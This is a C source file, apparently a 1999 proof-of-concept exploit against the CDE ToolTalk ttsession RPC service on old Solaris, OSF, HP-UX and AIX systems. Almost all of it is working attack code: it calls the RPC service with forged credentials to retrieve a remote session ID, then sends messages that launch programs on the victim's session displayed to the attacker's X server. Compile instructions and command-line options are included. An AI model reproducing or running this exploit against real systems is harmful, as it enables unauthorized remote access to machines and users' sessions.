/*
 * ttjamsession.c
 * Job de Haas
 * (c) ITSX bv 1999
 *
 * Solaris 7, 2.6, 2.5.1
 * OSF v4.0
 * HP-UX B.10.20
 * AIX 2 4 000096754200
 *
 * This is a simple ttsession exploit to show some problems with
 * authentication of a remote user. The possibilities after authentication
 * are not limited to starting dtpad, but rather any ptype as can be shown
 * with tt_type_comp. On Solaris this includes dtterm.
 *
 * compile with:
 * cc -L/usr/dt/lib -I/usr/dt/include -I/usr/openwin/include -ltt -lnsl
 *    ttjamsession.c -o ttjamsession
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <rpc/rpc.h>
#include <string.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <pwd.h>

#include <Tt/tt_c.h>
#include <Tt/tttk.h>

#define TTSESSION_PROG      1342177279
#define TTSESSION_PROG_SOL7 1289637086
#define TTSESSION_VERS      3
#define TTSESSION_GETSESSID 400

long rpcprog = TTSESSION_PROG;
int  version = TTSESSION_VERS;
long uid = -1;
int use_env = 0;
int test = 0;

/*
 * For some reason the string is not returned with xdr_wrapstring. After
 * some fiddling this seems to work.
 *
 */
xdr_mystring(xdrs, objp)
        register XDR *xdrs;
        char **objp;
{
    int	len;

    if (!xdr_int(xdrs, &len)) {
        return 0;
    }

    *objp =  (char *)malloc(len + 1);
    if (xdr_opaque(xdrs, (caddr_t)*objp, len)) {
        (*objp)[len] = '\0';
    } else { return 0; }

    return(1);
}


/*
 * This is some generated code by ttsnoop (nice program! at least on sol 2.6)
 * It was modified a bit to get it to spawn the program on the correct display
 */

Tt_callback_action
process_Instantiate_reply( Tt_message msg, Tt_message pat );

Tt_message
create_Instantiate(
	Tt_message context,
	char *action
)
{
	Tt_message msg;
	msg = tttk_message_create( context, TT_REQUEST, TT_SESSION,
			0, action,
			(Tt_message_callback)process_Instantiate_reply );
	tt_message_arg_add( msg, TT_IN, "data", "data");
	tt_message_context_set( msg, "$DISPLAY",  getenv("DISPLAY"));
	tt_message_disposition_set( msg, TT_START);
	tt_message_handler_ptype_set( msg, "DTPAD");
	return msg;
}

static Tt_callback_action
process_Instantiate_reply(
	Tt_message msg,
	Tt_message pat
)
{
	switch (tt_message_state(msg)) {
		case TT_SENT:	/* handler is in this process */
		case TT_STARTED:/* intermediate state */
		case TT_QUEUED:	/* intermediate state */
		default:	/* unknown state */
			return TT_CALLBACK_CONTINUE;
		case TT_HANDLED:
			/* ... */
			break;
		case TT_FAILED: {
			int status;
			char *string;
			status = tt_message_status( msg );
			string = tt_message_status_string( msg );

			printf("message failed with: %s\n",string);
			/* ... */
			} break;
	}
	tt_message_destroy( msg );
	return TT_CALLBACK_PROCESSED;
}

/*
 * The routine to get the remote sessionid string.
 *
 */
int
get_sessionid( remotehost, port)
char *remotehost;
ushort port;
{
    struct sockaddr_in  server_addr;
    enum clnt_stat      clnt_stat;
    struct hostent      *hp;
    struct timeval      timeout;
    CLIENT              *clnt;
    int                 msock;
    char 	            *buf;
    char                *env;
    char                *hostname;
    char                localhost[MAXHOSTNAMELEN];

    memset((char *)&server_addr, 0, sizeof (server_addr));

    if (remotehost) {
        server_addr.sin_family = AF_INET;
        server_addr.sin_addr.s_addr = inet_addr(remotehost);
        if ( server_addr.sin_addr.s_addr == -1 ) {
            if ((hp = gethostbyname(remotehost)) == NULL) {
                printf("Can't resolve %s\n",remotehost);
                exit(1);
            }
            memcpy((char *)&server_addr.sin_addr, hp->h_addr, hp->h_length);
            hostname = strdup( remotehost );
        }
    }
    else {
        if (gethostname(localhost, MAXHOSTNAMELEN)<0) {
            perror("gethostname");
            exit(1);
        }
        if (hp = gethostbyname(localhost)) {
            memcpy((char *)&server_addr.sin_addr, hp->h_addr, hp->h_length);
            hostname = strdup( localhost );
        } else {
            server_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
            hostname = strdup( "127.0.0.1" );
        }
    }


    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(port);
    msock = RPC_ANYSOCK;
    timeout.tv_sec = 15;
    timeout.tv_usec = 0;

    if ( (clnt = (CLIENT *)clnttcp_create(&server_addr, rpcprog,
             TTSESSION_VERS, &msock, 10000, 10000)) == NULL) {
        clnt_pcreateerror("clnttcp_create");
        exit(1);
    }

    /*
     * apparently credentials are not checked!
     */
    clnt->cl_auth = authunix_create(hostname, 0, 0, 0, NULL);

    if ((clnt_stat = clnt_call(clnt, TTSESSION_GETSESSID,
                (xdrproc_t) xdr_void, (caddr_t) 0,
                (xdrproc_t) xdr_mystring, (caddr_t) &buf,
                timeout)) != RPC_SUCCESS) {
        clnt_perror(clnt, "get session");
        return(-1);
    }

    /*
     * put TT_SESSION in the environment for tt_open to use.
     */
    env = malloc( strlen("TT_SESSION=") + strlen( buf+2 ) +1);
    strcpy(env,"TT_SESSION=");
    strcat(env,buf+2);
    putenv( env );

    printf("Session ID: %s\n", buf);

    return(0);
}

usage(progname)
char *progname;
{
    fprintf(stderr,
        "Usage: %s [-p port] [-r rpc prognumber] [-u uid]\n", progname);
    fprintf(stderr,"        [-7] [-t] [-e] hostname\n");
    fprintf(stderr,"[-7] use Solaris 7 default ttsession program number\n");
    fprintf(stderr,"[-t] test the RPC call but not send messages\n");
    fprintf(stderr,"[-e] get TT_SESSION from environment (no RPC call)\n");
    exit(-1);
}

int main(argc, argv)
int argc;
char **argv;
{
    char *hostname = NULL;
    struct in_addr addr;
    extern  int optind;
    extern  char *optarg;
    short port = 0;
    char c, *cp;
    Tt_message context, msg;
    char *procid;

    while ((c = getopt(argc, argv, "u:p:r:7et")) != EOF) {

        switch (c) {
            case 'r':
                rpcprog = atoi(optarg);
                break;
            case 'p':
                port = atoi(optarg);
                break;
            case 'u':
                uid = atoi(optarg);
                break;
            case '7':
                rpcprog = TTSESSION_PROG_SOL7;
                break;
            case 'e':
                use_env = 1;
                break;
            case 't':
                test = 1;
                break;
            default:
                usage(argv[0]);
        }
    }

    if (optind < argc) {
        hostname = strdup(argv[optind++]);
    }

    if (optind < argc) {
        port = atoi(argv[optind++]);
    }

    if (optind < argc) {
        usage(argv[0]);
    }

    /* setup the socket and test correct service */
    if ( !use_env && (get_sessionid( hostname, port ) < 0 )) {
        printf("Failed to properly connect to ttsession\n");
        exit(1);
    }

    if (test) exit(0);

    /*
     * Open up the channel to ttsession. The code uses the TT_SESSION
     * environment var to figure out how.
     */
    if (((procid = tt_open()) == NULL) || (*procid == '\0')) {
        perror("tt_open");
        exit(1);
    }

    /*
     * Now we can send messages... like instantiate a dtpad!
     * Two messages are sent to cause a new dtpad -server to be started
     * so that the dtpad will be displayed on our server even if the local
     * user is also using dtpad. I use sleep cause I can't seem to trigger
     * the callback.
     *
     */
    msg = create_Instantiate(context, NULL);
    tt_message_send(msg);
    sleep(10);
    msg = create_Instantiate(context, "Instantiate");
    tt_message_send(msg);
    sleep(10);

    /* no idea if I got to wait for the callback */

    exit(0);
}

